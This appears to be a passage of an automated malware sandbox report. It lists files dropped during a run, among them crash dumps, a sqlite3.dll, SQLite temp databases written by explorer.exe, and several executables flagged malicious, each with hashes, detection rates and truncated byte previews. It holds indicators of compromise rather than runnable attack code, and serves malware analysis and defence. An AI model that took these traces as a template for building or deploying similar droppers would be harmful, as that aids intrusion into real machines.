SHA1:	F31D34F5888A22532A9F4DE05D3E6A53367E91FA
SHA-256:	06094F1CFED4C2B9E60DDC28A029C35D708F7781950107C3E1841ADBB3819970
SHA-512:	AB441B5A1522C29432DE2806E5B0C6D7166319B6B3ABFDACDC3712E35D12674372BA9F5A41FC3374B4439C719598CC4113A9398975E01AE09D4C0322DBE2E1EC
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.1.1.9.7.8.4.3.0.5.6.5.4.2.4.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.1.1.9.7.8.4.4.1.4.0.9.1.5.4.3.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.4.2.0.b.f.1.5.-.f.2.d.e.-.4.7.0.e.-.9.2.e.3.-.b.3.4.8.1.2.0.e.8.3.6.0.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.3.1.9.6.5.7.9.-.f.4.f.2.-.4.e.c.d.-.9.6.2.1.-.8.4.9.4.3.5.8.d.c.4.6.1.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.4.9.F.6...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.5.2.c.-.0.0.0.1.-.0.0.1.a.-.0.f.4.3.-.d.a.0.5.b.d.e.f.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.8.a.7.f.1.9.8.3.5.3.c.5.8.3.8.c.9.b.f.7.5.1.5.b.0.b.a.7.8.7.6.8.0.0.0.0.f.f.f.f.!.0.0.0.0.0.a.e.7.7.3.e.8.2.5.9.d.4.1.c.3.9.5.d.c.7.e.e.c.7.6.f.8.d.6.9.0.3.5.5.f.0.3.3.2.!.4.9.F.6...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.2././.0.9.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_gecbfdt_c858373094792a63fea071725b1e5fecc55c13a_62df2180_159687c0\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8187617982151485
Encrypted:	false
SSDEEP:	96:bzFgW8teOQoT7RhV6tpXIQcQEc6IcEmcw31+HbHg/PtuuzOo8Fa9iVfOyWMxNo87:3OW8f8HaMs2jIg/u7scS274Itjq
MD5:	ED45A2D900E6C7BCD9993964FA95463B
SHA1:	6BD633AC29073B5A3E16668D9C72D0DAC5666DD7
SHA-256:	72FB665F540846AE32DB699108232107A90FCB839D4F949D35599B168688223D
SHA-512:	9A0FE7728F98C901B5BEA8162753FFE93E252850E4F10738A2B169E65666894E01E983ECC428FFD12A71D341514CD1EACEC1EFB359CE8166D0655C9A3F066DE8
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.B.E.X.....E.v.e.n.t.T.i.m.e.=.1.3.3.1.1.9.7.8.4.6.7.2.6.3.4.1.8.5.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.1.1.9.7.8.4.6.9.6.5.4.0.7.4.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.0.f.7.5.e.3.2.-.7.d.c.c.-.4.8.2.0.-.a.6.e.e.-.0.6.a.8.2.4.e.d.0.3.0.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.9.f.7.7.d.d.b.-.1.1.2.1.-.4.2.c.a.-.9.6.2.e.-.a.d.8.7.d.9.8.8.a.3.7.c.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.g.e.c.b.f.d.t.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.0.4.4.c.-.0.0.0.1.-.0.0.1.a.-.1.d.3.7.-.8.b.1.d.b.d.e.f.d.8.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.1.2.5.1.b.1.d.9.0.d.9.7.3.2.4.b.2.f.c.3.9.8.6.8.b.4.d.c.e.7.5.0.0.0.0.f.f.f.f.!.0.0.0.0.a.a.7.4.8.3.b.8.2.f.0.1.e.0.f.7.b.0.7.6.0.9.1.c.e.3.4.d.3.a.1.1.5.d.e.2.5.d.f.f.!.g.e.c.b.f.d.t.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.2././.1.0././.2.4.:.1.0.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER14B4.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8390
Entropy (8bit):	3.6999071545334776
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNi2L6g6Yq3SUCZ0gmfRRSBSCpDr89bjtsf7hm:RrlsNiS6g6YqSUC0gmfRRSBOjmfw
MD5:	402FEAB2347EC5D82E075B3A1EC2120F
SHA1:	3574E20FDA0C39EA2D35186A4E5E64ED26F38C04
SHA-256:	A900108F814077A6327BC42D5BB4A79A5FB1725441285AFE449B62D44402A0D4
SHA-512:	97666448320F327D6D6CC45C8733EB6467F9FBDB8E9D79D266306010B9C0A1C8D2E599571270872370180E6725F265D8B715BE8732DA1F067F1CA173AA45F230
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.5.1.6.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER167A.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4685
Entropy (8bit):	4.479797208589122
Encrypted:	false
SSDEEP:	48:cvIwSD8zsnJgtWI9KEWgc8sqYjI8fm8M4JN3sa7FV+q8vWsa3l7VtMtJt2d:uITfJ9dgrsqYhJN3B/KWB3HtMtJt2d
MD5:	EE62E14E65372B795844EBECE0C5BF41
SHA1:	4F7C515E2BA9A64D2B3D9931D08DAE6EFDE18136
SHA-256:	937C424761B158B28CFEB288A31EBE3CBE3EA5836C995C64D0D21E6374123A57
SHA-512:	DE1608B810EB28EE0D5A977BF571468E0DC166F99217BC29A187014DB9D789F501619134DE5E651E2230B3FBCE81780182FA6887D4AE25683DE98E42078703D1
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1764298" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER2C3.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4584
Entropy (8bit):	4.496733657560386
Encrypted:	false
SSDEEP:	48:cvIwSD8zs2JgtWI9KEWgc8sqYjb8fm8M4JWuWFfk+q8xbsmMtUEd:uITfM9dgrsqYcJT7KsmMtUEd
MD5:	115A5BC18A8236E5181C086E25F335F5
SHA1:	675605D9A8DE9EE087016FB237B98E971E2CB90F
SHA-256:	7C3CA546F0E6AA5B21D3AC19BF5C0A88401ADA5A44ABCF662B9401293E67B76C
SHA-512:	9E1EBB5EB8196270C343C295821322DBB4955DBDBAA15FBCB1B2543EFD46759D5493A80CB1949D80CCF212E0F3336DF5A976F47D4810419A3FCC51F84735FE60
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1764297" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7AB0.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Nov 3 19:47:48 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	36874
Entropy (8bit):	2.1193502691624695
Encrypted:	false
SSDEEP:	192:yJNApM3TXqdTOeJGT0pHvf9VyjYDmbfSSCyzJqTFlvtsthq:S4M7q4ekTtWcRO2q
MD5:	6762A187D89AC9896F4EA2ED6EE6AED0
SHA1:	02B882ACA92F0DB91EAF526E7D35304AD0827B62
SHA-256:	949EDE1326525974143C9C4E7C0FFB5D7C6E470D0B671D6D0EB0667F84A0F10D
SHA-512:	E4483AFA0E2BA8CEFED5FB840CD9672A40338CF481D06FA51930088DD7980BEBA56127B10DB3B5284B693B0696394718114E23080BD4BF1C9724DDC18DAD8075
Malicious:	false
Reputation:	unknown
Preview:	MDMP....... .........dc.........................................&..........T.......8...........T...............Z{...........................................................................................U...........B......8.......GenuineIntelW...........T.......L.....dc............................. ..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER80EB.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6362
Entropy (8bit):	3.717196111516708
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiqJ6wYERSBSCpDh89bEesflMm:RrlsNi86wYERSBMEdf7
MD5:	29FD8DA037F458F932BE800240D07B3F
SHA1:	B2D7CC078017FC0B81FC3DE119DDB14B58020171
SHA-256:	CC514F165EDC5DEF946142F3E34DC434BF23D1C021F7F6EAB425ABF2BFC57554
SHA-512:	ED43A6021FBBA0689E85772B514B8F2980E459ED954A51CC695D1C81EFE10EA54114B4C7F717EAFFE0F5ED878FC826544F8C1BA10D449FA6FEE87A300511D479
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.1.0.0.<./.P.i.d.>.......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER81B7.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4681
Entropy (8bit):	4.4690827828392585
Encrypted:	false
SSDEEP:	48:cvIwSD8zsnJgtWI9KEWgc8sqYj08fm8M4JHCfsFDb+q8vCf0sJX9rrU4HOnUqd:uITfJ9dgrsqYVJrKFsvrYKOUqd
MD5:	151A02EE1A9FCEE46B4A75AAA842385E
SHA1:	E368E23B2078105E501A87A4AAD73646D3E67B09
SHA-256:	CE666C90B55F8B68D6BB14A78F0C6D8D6E1EB3E255E7B023DC52BF5660A3B35D
SHA-512:	CFB4D53952C215B4A1D9FEDA040062F57790D5D34C66B9D2C309419455F834C933FF500A34824770BF6EA8135F5C29BF595C9DEE0108CC88402B195309061711
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="verqfe" val="1" />.. <arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid" val="244" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="1764298" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-11.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WEREB51.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Nov 3 19:47:15 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	42360
Entropy (8bit):	1.9968505253050484
Encrypted:	false
SSDEEP:	192:97/RqPiZbLyOeJqjYHXAKuyT/Bwj7VyjlZ0vR98pKU7LVUr:poKNecjpKbTB0CGr
MD5:	ADC1C4F872F03FEF48AB02303FE26F63
SHA1:	41528495B4A3FF5CE6D5D000CAF8D8677CFC6B6E
SHA-256:	02C9AA96277298204BF56C1C550015CB204F749D1209B9913ACD09ABF9EEA775
SHA-512:	95FC9040A43EEE1750AB947197A809AD88CBA9370C776EF1F6A737A8E01EEBCF1D1AC8167C0BF0758782F261D04CAE3F03E2D06B8580FB6F832BB851BDD431B0
Malicious:	false
Reputation:	unknown
Preview:	MDMP....... .........dc.........................................(..........T.......8...........T...........................................................................................................U...........B......h.......GenuineIntelW...........T.......,.....dc............................. ..2...............P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFE0E.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Thu Nov 3 19:47:20 2022, 0x1205a4 type
Category:	dropped
Size (bytes):	42360
Entropy (8bit):	1.9988705920346324
Encrypted:	false
SSDEEP:	192:+1i0PiZNOeJRZxPXTKjcjUVyjyDo13HPLwpPEedNU6:I3efT/Assme46
MD5:	C893A1B61800D53EAFF688FBACBA1CC7
SHA1:	7865B684718612DD13DDF0F51D65F26C3967BC88
SHA-256:	55C1B814548CBC67F485B92EB70FD300ACF1189ED86B3201C1BDC68162B13EC1
SHA-512:	66A097A37615CDB2B66A1891045F689FCE95C84E2502DDFD8AB3D57B185576CAB9DF07CFB2F7086BCF23533A40343F04AD5EB3A4DF02E4F3C268FC14DE979A31
Malicious:	false
Reputation:	unknown
Preview:	MDMP....... .........dc.........................................(..........T.......8...........T...........................................................................................................U...........B......h.......GenuineIntelW...........T.............dc............................. ..................P.a.c.i.f.i.c. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................P.a.c.i.f.i.c. .D.a.y.l.i.g.h.t. .T.i.m.e...........................................1.7.1.3.4...1...x.8.6.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.....................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERFE3E.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8326
Entropy (8bit):	3.7019331163563662
Encrypted:	false
SSDEEP:	192:Rrl7r3GLNiTEP6g6Yq3SUoZLgmf8sSBSCpDb89bELisfeMm:RrlsNiT06g6Y6SUELgmf8sSBeELhfM
MD5:	172C7578C20297BD356FCA9335A01773
SHA1:	4B23D90DBA1A1C248DAE9E540AABF924320CEADF
SHA-256:	8E32124B9BCF45093E23097416920384BBE28A1EBA72FD558DB59E7EEBF8BADD
SHA-512:	9F76B9158AFDD693DB330AF8DD009B103C34E363F45A0CEA91D8D7FA86F12BC7E7FD48F33C2D1DD7E331FCC1D111F1CCEFA8993E71D18B779DB9F14F0C6F2E72
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.7.1.3.4.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.7.1.3.4...1...a.m.d.6.4.f.r.e...r.s.4._.r.e.l.e.a.s.e...1.8.0.4.1.0.-.1.8.0.4.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.1.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.1.0.3.3.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.3.2.4.<./.P.i.d.>.......

C:\ProgramData\sqlite3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5487.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1106998
Entropy (8bit):	6.500333177860392
Encrypted:	false
SSDEEP:	12288:dxylSMUMifofI9ayCvcZMBiMjCodEMdo8R66tCWko5+jsbFcoYuprzpGSgGSrz:d4AMB3caSZMijBI1CWkoj5auF5gGSrz
MD5:	1F44D4D3087C2B202CF9C90EE9D04B0F
SHA1:	106A3EBC9E39AB6DDB3FF987EFB6527C956F192D
SHA-256:	4841020C8BD06B08FDE6E44CBE2E2AB33439E1C8368E936EC5B00DC0584F7260
SHA-512:	B614C72A3C1CE681EBFFA628E29AA50275CC80CA9267380960C5198EA4D0A3F2DF6CFB7275491D220BAD72F14FC94E6656501E9A061D102FB11E00CFDA2BEB45
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Metadefender, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......c...........!.....&...................@.....a.........................0.......:........ .....................................0.......................@...<........................... .......................................................text....%.......&..................`.P`.data...\|'...@...(...,..............@.`..rdata..pD...p...F...T..............@.`@.bss....(.............................`..edata..........,..................@.0@.idata..............................@.0..CRT....,...........................@.0..tls.... .... ......................@.0..rsrc........0......................@.0..reloc...<...@...>..................@.0B/4......8...........................@.@B/19.....R............"..............@..B/31.....]'...`...(..................@..B/45......-..........................@..B/57.....\............B..............@.0B/70.....#............N..

C:\Users\user\AppData\Local\Temp\1C1E.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, page size 2048, file counter 2, database pages 23, cookie 0x19, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.7876734657715041
Encrypted:	false
SSDEEP:	48:43KzOIIY3HzrkNSs8LKvUf9KnmlG0UX9q4lCm+KLka+yJqhM0ObVEq8Ma0D0HOlx:Sq0NFeymDlGD9qlm+KL2y0Obn8MouO
MD5:	CF7758A2FF4A94A5D589DEBAED38F82E
SHA1:	D3380E70D0CAEB9AD78D14DD970EA480E08232B8
SHA-256:	6CA783B84D01BFCF9AA7185D7857401D336BAD407A182345B97096E1F2502B7F
SHA-512:	1D0C49B02A159EEB4AA971980CCA02751973E249422A71A0587EE63986A4A0EB8929458BCC575A9898CE3497CC5BDFB7050DF33DF53F5C88D110F386A0804CBF
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................[5....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\37F1.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	412672
Entropy (8bit):	6.29900683013952
Encrypted:	false
SSDEEP:	6144:0B/LGpmi0jT7/vNd+U4PuPoh37vTfPZRl007PADtOExkJ:0B/qp5KT7b+UC1rrjgDNi
MD5:	20FC27E56AEB4D8031E8952F5C367565
SHA1:	23D1E5F43CF5FFCC1B23BDC0DBC82E2CA2C82F8D
SHA-256:	74529DF015F3AC14D2A4F9744C8945BDB3998707AC66F47FD20FBB62ED126716
SHA-512:	E0B6FF5CE7FCAC646B03C6458A91655AEA4D6850010D3501AA1E788ADD16B4D63B57643EC78FE91E4344D19B75BA63CC7995EF0DFDC2B6B3A62DBA181F0F7348
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M.....l...l...l.....*.l.......l.....v.l..o....l...m.v.l.......l.......l.......l.Rich..l.................PE..L...S..a............................B.......0....@..........................0..................................................<....P...h..........................................................0(..@............................................text............................... ..`.data........0...`..................@....rsrc....h...P...j...x..............@..@.reloc..dh.......j..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3BBD.tmp

Download File

Process:	C:\Windows\SysWOW64\explorer.exe
File Type:	SQLite 3.x database, last written using SQLite version 3038005, file counter 11, database pages 7, 1st free page 5, free pages 2, cookie 0x13, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.7175172839606828
Encrypted:	false
SSDEEP:	24:TL0PczkwubXYFpFNYcw+6UwcYzHr8CtNdByiWUmozjng15n2PyS3piyQxJEv:TUcYwuLopFgU1YzLHyKDALnMj5iyQ7Ev
MD5:	C1C5F78369A7D66A61D8A8AF47FFC00E
SHA1:	6BADA623EBCC06BE23C97CB069504290FFAC084A
SHA-256:	0528EC1BB5475617C4EA096113BB2D6B07B223945D60E81236FF1BBD72FC6D4F
SHA-512:	39A5BEFD0C5D444C603EE53885EC57709E86CE14E9444F6FB3C26D45B99DD1BB46BA84FE998E11343F30C19BA7F023DA22A16D4D5DB48FA7D57B3E417E9881DE
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................[5.........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\405E.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	216576
Entropy (8bit):	6.970758497557372
Encrypted:	false
SSDEEP:	3072:O9YbBgiJpF3khGLEDqW6Td5AaQl8JIt6Cr0gyw3qprxFfXIKx:O9MiSpF00LEOWNaZ7W9yVxxFfXIK
MD5:	ABC4A016ED52C530C02FCFA8D5AC2506
SHA1:	AA7483B82F01E0F7B076091CE34D3A115DE25DFF
SHA-256:	98A6EB1CC5C669884AC5C5071875A5964566247265D4215441D01F756930D5EF
SHA-512:	06290E2E24AB4075885321F09AFDC1C7008AFD224D5516B7E19EB5015685C8DDC41019C5BB8973635E1257B68539010D2402EE4B8726F4A509170A8FF380FC32
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 38%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L._."._."._.".A...B.".A.....".x.Y.X."._.#...".A...m.".A...^.".A...^.".Rich_.".........PE..L....i.a.....................$....................@.................................*m..........................................P........C..........................................................hC..@...............$............................text............................... ..`.data...d........ ..................@....rsrc....C.......D..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\45DE.exe

Download File

Process:	C:\Windows\explorer.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	217088
Entropy (8bit):	6.982740351740856
Encrypted:	false
